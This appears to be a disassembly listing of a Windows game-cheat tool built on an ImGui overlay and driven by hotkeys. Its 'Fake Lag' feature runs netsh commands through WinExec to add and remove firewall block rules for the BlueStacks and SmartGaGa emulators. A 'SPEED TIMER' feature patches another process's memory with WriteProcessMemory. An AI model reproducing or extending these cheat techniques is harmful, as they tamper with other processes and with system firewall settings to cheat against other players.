test rax, rax
jne 0x14005e6cf
mov r8d, 0xb5b
lea rdx, str.D:PANELES_CSENSI_XEONimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402be7b0]
movss xmm8, dword [0x1400e9468]
xor r14d, r14d
movss xmm13, dword [0x1400e95b0]
xor r13b, r13b
movss xmm14, dword [0x1400e9678]
xorps xmm12, xmm12
movaps xmmword [rsp + 0xe40], xmm7
movaps xmmword [rsp + 0xe20], xmm9
movaps xmmword [rsp + 0xe10], xmm10
movaps xmmword [rsp + 0xe00], xmm11
mov dword [rax + 0x381c], 0x40a00000
mov dword [rax + 0x3820], 0x40400000
mov dword [rax + 0x3824], 0x3f800000
mov qword [rax + 0x37f0], 0x40000000
mov dword [rax + 0x3818], r14d
mov qword [rax + 0x37e8], r14
mov dword [rax + 0x3810], 0x41200000
mov dword [rax + 0x38a8], r14d
nop
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, [rbp + 0x200]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005e7d0
nop
lea rcx, [rbp + 0x200]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x200]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x208], 0x12
lea rcx, [rbp + 0x200]
movzx r13d, r13b
cmove r13d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14005e780
test r13b, r13b
jne 0x140061b1e
mov ecx, 0x77
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005e7ee
cmp byte [reloc.WS2_32.dll_accept], 0
sete byte [0x1402bd860]
mov rax, qword [0x1402be7b0]
test rax, rax
jne 0x14005e81b
mov r8d, 0xfe3
lea rdx, str.D:PANELES_CSENSI_XEONimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402be7b0]
movss xmm0, dword [rax + 0x18]
mov ecx, dword [0x1402bd870]
mulss xmm0, dword [0x1400e9550]
cmp ecx, 0xff
jg 0x14005e844
cmp byte [reloc.WS2_32.dll_accept], 0
mov eax, Ordinal_301
jne 0x14005e847
mov eax, r14d
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x1402bd870], r8d
cmp r8d, 0xff
jle 0x14005e884
mov dword [0x1402bd870], 0xff
mov r8d, 0xff
mov rcx, qword [0x1402be9a0]
xor edx, edx
mov r9d, 2
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
cmp dword [0x1402bd870], 0
mov edx, r14d
mov rcx, qword [0x1402be9a0]
mov eax, 5
cmovg edx, eax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x75
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, 0x76
shr ebx, 0xf
and bl, r12b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx edi, ax
mov ecx, 0x77
shr edi, 0xf
and dil, r12b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx esi, ax
mov ecx, 0x78
shr esi, 0xf
and sil, r12b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1402e42dc]
shr eax, 0xf
and al, r12b
cmp ecx, r12d
jne 0x14005e91d
test bl, bl
je 0x14005e963
cmp byte [0x1402be9f8], 0
jmp 0x14005e953
cmp ecx, 2
jne 0x14005e930
test dil, dil
je 0x14005e963
cmp byte [0x1402be9e4], 0
jmp 0x14005e953
cmp ecx, 3
jne 0x14005e943
test sil, sil
je 0x14005e963
cmp byte [0x1402be7cf], 0
jmp 0x14005e953
cmp ecx, 4
jne 0x14005e963
test al, al
je 0x14005e963
cmp byte [0x1402be7cc], 0
jne 0x14005e963
cmp byte [0x1402be9d7], 0
sete byte [0x1402be9d7]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
jne 0x140061e05
mov ecx, dword [0x1402be828]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005e98f
mov byte [0x1402dfa9e], r12b
mov ecx, dword [0x1402be9e0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005e9a7
mov byte [0x1402dfa9d], r12b
mov ecx, dword [0x1402be820]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005e9e6
cmp byte [0x1402be9cc], 0
je 0x14005e9e6
lea rcx, [rbp + 0x380]
call fcn.140062920
lea rcx, [rbp + 0x380]
call fcn.140056110
cmp dword [rbp + 0x388], 0
jne 0x140061d79
mov ecx, dword [0x1402be82c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005ea28
cmp byte [0x1402be9d0], 0
je 0x14005ea28
lea rdx, [0x14005b9a0]
lea rcx, [rbp + 0x428]
call fcn.1400628b0
mov rcx, rax
call fcn.140056110
cmp dword [rbp + 0x430], 0
jne 0x140061d80
mov ecx, dword [0x1402be7c4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005ea6a
cmp byte [0x1402be9d5], 0
je 0x14005ea6a
lea rdx, [0x14005bb70]
lea rcx, [rbp + 0x438]
call fcn.1400628b0
mov rcx, rax
call fcn.140056110
cmp dword [rbp + 0x440], 0
jne 0x140061d87
mov ecx, dword [0x1402be8f0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005eaa9
cmp byte [0x1402be9cd], 0
je 0x14005eaa9
lea rcx, [rbp + 0x320]
call fcn.140062990
lea rcx, [rbp + 0x320]
call fcn.140056110
cmp dword [rbp + 0x328], 0
jne 0x140061d8e
mov ecx, dword [0x1402be9f0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005eae8
cmp byte [0x1402be8fa], 0
je 0x14005eae8
lea rcx, [rbp + 0x330]
call fcn.140062a00
lea rcx, [rbp + 0x330]
call fcn.140056110
cmp dword [rbp + 0x338], 0
jne 0x140061d95
mov ecx, dword [0x1402be9f4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005ecfd
cmp byte [0x1402be9d2], 0
je 0x14005ecfd
xor edx, edx
cmp byte [0x1402be7ab], dl
jne 0x14005ec3a
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.Fake_Lag_ON:_Activado_
lea rcx, [0x1402bd810]
call fcn.140062000
movups xmm6, xmmword [0x1402bd9b8]
lea rdx, str.Fake_Lag_ON:_Activado_
lea rcx, [rbp - 0x60]
call fcn.140048520
lea rdx, str.Notification
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.140048520
lea r9, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140055910
mov edx, 0x20001
lea rcx, str.C:UsersWindowsSystem32opcionActivada.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov byte [0x1402be7ab], r12b
jmp 0x14005ecfd
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.Fake_Lag_OFF:_Desactivado_
lea rcx, [0x1402bd810]
call fcn.140062000
movups xmm6, xmmword [0x1402bd9b8]
lea rdx, str.Fake_Lag_OFF:_Desactivado_
lea rcx, [rbp - 0x60]
call fcn.140048520
lea rdx, str.Notification
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.140048520
lea r9, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140055910
mov edx, 0x20001
lea rcx, str.C:UsersWindowsSystem32opcionDesactivado.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov byte [0x1402be7ab], 0
mov ecx, dword [0x1402be7c0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005efd0
mov rax, qword [0x1402dfb50]
mov edi, r14d
mov rdx, qword [0x1402dfb48]
sub rax, rdx
sar rax, 3
cmp byte [0x1402be825], 0
jne 0x14005ee8d
mov dword [rbp - 0x40], r12d
mov dword [rbp - 0x3c], 0x3d072b02
test rax, rax
je 0x14005edb3
mov rbx, r14
nop word [rax + rax]
mov rax, qword [0x1402bea00]
mov rsi, qword [rbx + rdx]
test rax, rax
jne 0x14005ed75
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400c4c14
mov qword [0x1402bea00], rax
mov dword [rax + 8], r14d
mov rcx, qword [rax]
lea r8, [rbp - 0x40]
mov r9d, 8
mov qword [rsp + 0x20], r14
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1402dfb50]
inc edi
mov rdx, qword [0x1402dfb48]
add rbx, 8
sub rcx, rdx
movsxd rax, edi
sar rcx, 3
cmp rax, rcx
jb 0x14005ed50
mov r8d, Ordinal_35
lea rdx, str.App1_:_SPEED__TIMER__Successfully_
lea rcx, [0x1402bd810]
call fcn.140062180
movups xmm6, xmmword [0x1402bd9b8]
mov qword [rsp + 0x70], r14
mov ecx, reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
mov qword [rsp + 0x78], r14
movups xmmword [rsp + 0x60], xmm0
call fcn.1400c4c14
movups xmm0, xmmword [str.App1_:__Successfully_]
mov qword [rsp + 0x60], rax
lea r9, [rbp - 0x80]
mov qword [rsp + 0x70], reloc.WS2_32.dll_setsockopt
lea r8, [rsp + 0x60]
mov qword [rsp + 0x78], Ordinal_32
lea rdx, [rbp - 0x60]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400e8fa8]
mov dword [rax + 0x10], ecx
xorps xmm0, xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_33]
mov byte [rax + 0x14], cl
mov byte [rax + 0x15], 0
mov eax, dword [0x1400e7928]
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], recv
movsd xmm0, qword [str.Notification]
movsd qword [rbp - 0x60], xmm0
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov dword [rbp - 0x58], eax
mov byte [rbp - 0x54], 0
movdqa xmmword [rbp - 0x80], xmm6
call fcn.140055910
mov edx, 0x20001
lea rcx, str.C:UsersWindowsSystem32opcionActivada.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov byte [0x1402be825], r12b
jmp 0x14005efd0
mov dword [rbp - 0x38], r12d
mov dword [rbp - 0x34], 0x3d68e468
test rax, rax
je 0x14005ef03
mov rbx, r14
mov rax, qword [0x1402bea00]
mov rsi, qword [rbx + rdx]
test rax, rax
jne 0x14005eec5
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400c4c14
mov qword [0x1402bea00], rax
mov dword [rax + 8], r14d
mov rcx, qword [rax]
lea r8, [rbp - 0x38]
mov r9d, 8
mov qword [rsp + 0x20], r14
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1402dfb50]
inc edi
mov rdx, qword [0x1402dfb48]
add rbx, 8
sub rcx, rdx
movsxd rax, edi
sar rcx, 3
cmp rax, rcx
jb 0x14005eea0
mov r8d, Ordinal_32
lea rdx, str.App1_:_SPEED__TIMER___Disabled_
lea rcx, [0x1402bd810]
call fcn.140062180
movups xmm6, xmmword [0x1402bd9b8]
mov qword [rbp - 0x50], r14
mov ecx, reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
mov qword [rbp - 0x48], r14
movups xmmword [rbp - 0x60], xmm0
call fcn.1400c4c14
movups xmm0, xmmword [str.App1_:__Disabled_]
mov qword [rbp - 0x60], rax
lea r9, [rbp - 0x80]
mov qword [rbp - 0x50], reloc.WS2_32.dll_select
lea r8, [rbp - 0x60]
mov qword [rbp - 0x48], Ordinal_32
lea rdx, [rsp + 0x60]
movups xmmword [rax], xmm0
movzx ecx, word [0x1400e8fe0]
mov word [rax + 0x10], cx
xorps xmm0, xmm0
mov byte [rax + 0x12], 0
mov eax, dword [0x1400e7928]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], recv
movsd xmm0, qword [str.Notification]
movsd qword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov dword [rsp + 0x68], eax
mov byte [rsp + 0x6c], 0
movdqa xmmword [rbp - 0x80], xmm6
call fcn.140055910
mov edx, 0x20001
lea rcx, str.C:UsersWindowsSystem32opcionActivada.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov byte [0x1402be825], 0
mov rbx, qword [0x1402be7b0]
test rbx, rbx
je 0x14005efea
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x14005f007
jmp 0x14005efed
mov rbx, r14
mov r8d, 0x250
lea rdx, str.D:PANELES_CSENSI_XEON_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], 0
jne 0x14005f013
call fcn.14004a3c0
call fcn.14004b570
call fcn.140008ec0
mov rax, qword [0x1402be7b0]
lea rcx, str.General
xor edx, edx
mov r8d, 0x20ab
mov qword [rax + 0x47b8], 0
mov qword [rax + 0x47c0], 0
mov dword [rax + 0x47ac], r12d
or dword [rax + 0x47a8], 3
mov dword [rax + 0x47c8], 0x44548000
mov dword [rax + 0x47cc], 0x44070000
mov dword [rax + 0x47b0], r12d
call fcn.14000eed0
mov rcx, qword [0x1402be7b0]
movdqa xmm0, xmmword [0x1400e9860]
movups xmmword [rbp - 0x80], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
mov qword [0x1402f46c0], rax
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
lea rcx, [rbp - 0x80]
mov r15, qword [rax + 0x290]
movsd xmm6, qword [rax + 0x18]
call fcn.140004340
movss xmm9, dword [0x1400e9508]
lea r8, [rbp + 0x180]
movaps xmm10, xmm6
movsd qword [rbp - 0x80], xmm6
movss xmm11, dword [rbp - 0x80]
lea rdx, [rbp - 0x80]
shufps xmm10, xmm10, 0x55
movaps xmm0, xmm11
addss xmm0, dword [0x1402bd868]
movaps xmm1, xmm10
mov dword [rsp + 0x28], r14d
addss xmm1, dword [0x1402bd86c]
mov r9d, eax
movss dword [rsp + 0x20], xmm9
mov rcx, r15
movss dword [rbp + 0x180], xmm0
movss dword [rbp + 0x184], xmm1
call fcn.14002b620
cmp dword [0x1402e43e8], r12d
jne 0x140060894
call fcn.14005c550
cmp byte [0x1402be7a9], 0
je 0x14005f150
call fcn.14005caa0
lea rcx, [0x1402bd9c8]
call fcn.140004340
movaps xmm7, xmm11
mov dword [rsp + 0x28], Ordinal_50
addss xmm7, dword [0x1400e9634]
movaps xmm6, xmm10
movss dword [rsp + 0x20], xmm9
addss xmm6, dword [0x1400e9620]
mov r9d, eax
lea r8, [rbp + 0x1a0]
lea rdx, [rbp - 0x80]
mov rcx, r15
movss dword [rbp + 0x1a0], xmm7
movss dword [rbp + 0x1a4], xmm6
call fcn.14002b620
lea rcx, [0x1402bd9c8]
call fcn.140004340
mov r9d, eax
mov dword [rsp + 0x28], 0x50
lea rdx, [rbp - 0x80]
movss dword [rbp + 0x1a8], xmm7
lea r8, [rbp + 0x1a8]
movss dword [rbp + 0x1ac], xmm6
mov rcx, r15
movss dword [rsp + 0x20], xmm9
call fcn.14002b620
movss xmm0, dword [0x1402e019c]
ucomiss xmm0, xmm12
jp 0x14005f212
jne 0x14005f212
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss dword [0x1402e019c], xmm0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x1402e019c]
xorps xmm1, xmm1
addss xmm0, dword [0x1400e956c]
mov eax, eax
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x14005f2d8
cmp byte [reloc.WS2_32.dll_accept], 0
movss xmm1, dword [0x1402e0198]
je 0x14005f291
movss xmm6, dword [0x1400e94cc]
comiss xmm6, xmm1
jbe 0x14005f283
call fcn.140008540
movss xmm1, dword [0x1402e0198]
movaps xmm0, xmm8
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm13
addss xmm1, xmm0
movss dword [0x1402e0198], xmm1
comiss xmm1, xmm6
jb 0x14005f2ce
mov byte [reloc.WS2_32.dll_accept], 0
jmp 0x14005f2ce
comiss xmm1, xmm12
jbe 0x14005f2c1
call fcn.140008540
movss xmm1, dword [0x1402e0198]
movaps xmm0, xmm8
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm13
subss xmm1, xmm0
movss dword [0x1402e0198], xmm1
comiss xmm12, xmm1
jb 0x14005f2ce
mov byte [reloc.WS2_32.dll_accept], r12b
mov dword [0x1402e019c], 0
mov rcx, qword [0x1402f5c98]
mov rdi, qword [0x1402be7b0]
mov rbx, rcx
mov qword [rbp - 0x80], rcx
test rcx, rcx
jne 0x14005f32c
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x14005f325
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], ecx
jg 0x14005f31e
mov r8d, 0x6fd
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov qword [rbp - 0x80], rcx
mov rbx, rcx
call fcn.1400122b0
lea rcx, [rdi + 0x4838]
lea rdx, [rbp - 0x80]
call fcn.14001f660
mov rax, qword [rdi + 0x3ed0]
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rax + 0x290]
mov rdx, qword [rdx + 8]
call fcn.140028d40
mov rcx, qword [0x1402be7b0]
lea r9, [rbp + 0x1b0]
movss xmm0, dword [0x1402e0198]
lea r8, [rbp + 0x1b8]
movss xmm9, dword [0x1400e955c]
lea rdx, [rbp + 0x60]
movss dword [rbp + 0x25c], xmm0
mov rax, qword [rcx + 0x3ed0]
mov dword [rbp + 0x250], 0x437f0000
mov dword [rbp + 0x254], 0x437f0000
mov dword [rbp + 0x258], 0x437f0000
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
mov dword [rbp + 0x1b0], 0x3f800000
mov dword [rbp + 0x1b4], 0x3f800000
mov qword [rbp + 0x1b8], 0
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
mov byte [rax + 0x139], r12b
mov dword [rbp + 0x60], 0x42480000
addss xmm0, dword [0x1400e94e0]
mov dword [rbp + 0x64], 0x42480000
addss xmm1, xmm9
movss dword [rax + 0xfc], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x1400e9b30]
movss dword [rax + 0xf8], xmm1
lea rax, [rbp - 0x80]
mov rcx, qword [0x1402be818]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x20], rax
call fcn.140039bc0
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005f47a
cmp byte [0x1402f4d31], 0
sete byte [0x1402f4d31]
cmp qword [0x1402be7b0], 0
jne 0x14005f49e
mov r8d, 0xb5b
lea rdx, str.D:PANELES_CSENSI_XEONimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.14005b8d0
movdqa xmm0, xmmword [0x1400e9810]
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rbp + 0x80], 0
mov dword [rbp + 0x78], 0x44870000
mov dword [rbp + 0x7c], 0x44070000
call fcn.140004340
mov rbx, qword [0x1402be7b0]
mov esi, eax
cmp dword [rbx + 0x48a0], 0
jg 0x14005f4ff
mov r8d, 0x6fd
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [rbx + 0x48a8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rcx]
call fcn.140008580
mov dword [rbp + 0x68], 0x3f800000
mov rbx, rax
mov dword [rbp + 0x6c], 0x3f800000
mov qword [rbp + 0x70], 0
test esi, 0xff000000
je 0x14005f5df
mov rdx, qword [0x1402be8e8]
cmp rdx, qword [rax + 0x98]
setne dil
je 0x14005f558
mov rcx, rax
call fcn.140028d40
mov edx, 6
mov r8d, 4
mov rcx, rbx
call fcn.140028dc0
lea rax, [rbp + 0x68]
mov dword [rsp + 0x28], esi
lea r9, [rbp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x78]
mov rcx, rbx
lea rdx, [rbp + 0x80]
call fcn.140028f90
test dil, dil
je 0x14005f5df
cmp dword [rbx + 0x68], 0
jg 0x14005f5b4
mov r8d, 0x713
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14005f5c7
mov rax, r14
jmp 0x14005f5d0
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140028ad0
lea rcx, [rbp + 0x250]
call fcn.140004340
mov rdx, qword [0x1402be7b0]
lea rsi, str.COSMOS_BASIC
movss xmm3, dword [0x1400e9654]
movaps xmm6, xmm11
addss xmm6, dword [0x1400e9630]
movaps xmm7, xmm10
mov qword [rsp + 0x30], r14
mov rcx, qword [rdx + 0x3c18]
addss xmm11, xmm12
movss xmm2, dword [rdx + 0x3c20]
mov edi, eax
subss xmm7, dword [0x1400e95a0]
addss xmm10, dword [0x1400e95d0]
lea rdx, [rbp + 0x38]
mov qword [rsp + 0x28], rsi
movss dword [rsp + 0x20], xmm14
call fcn.1400346b0
movss xmm0, dword [rbp + 0x38]
subss xmm6, xmm11
subss xmm7, xmm10
addss xmm0, dword [0x1400e94d8]
mulss xmm6, xmm15
mulss xmm7, xmm15
addss xmm6, xmm11
cvttss2si eax, xmm0
movss xmm0, dword [rbp + 0x3c]
addss xmm7, xmm10
mulss xmm0, xmm15
movd xmm1, eax
subss xmm7, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x8c], xmm7
movss dword [rbp + 0x38], xmm1
mulss xmm1, xmm15
subss xmm6, xmm1
movss dword [rbp + 0x88], xmm6
test edi, 0xff000000
je 0x14005f745
mov rax, qword [r15 + 0x38]
mov rbx, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [r15 + 0x98]
mov rcx, qword [rbx + 0x40]
cmp qword [rcx + 8], rax
je 0x14005f6f8
mov r8d, 0x64d
lea rdx, str.D:PANELES_CSENSI_XEONimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [r15 + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x1400e8ffc]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x88]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
mov rdx, r15
mov rcx, rbx
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x60], xmm0
call fcn.1400348d0
call fcn.1400123e0
mov rcx, qword [0x1402be7b0]
lea rdx, str.Head
mov dword [rbp + 0x90], 0x42200000
mov dword [rbp + 0x94], 0x42200000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r12b
addss xmm1, dword [0x1400e9628]
addss xmm0, xmm9
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007ac0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x90]
lea rcx, str.Head
call fcn.14000bd70
mov rcx, qword [0x1402f5c90]
mov rdi, qword [0x1402be7b0]
mov rbx, rcx
mov qword [rbp - 0x80], rcx
test rcx, rcx
jne 0x14005f84a
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x14005f843
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], ecx
jg 0x14005f83c
mov r8d, 0x6fd
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov qword [rbp - 0x80], rcx
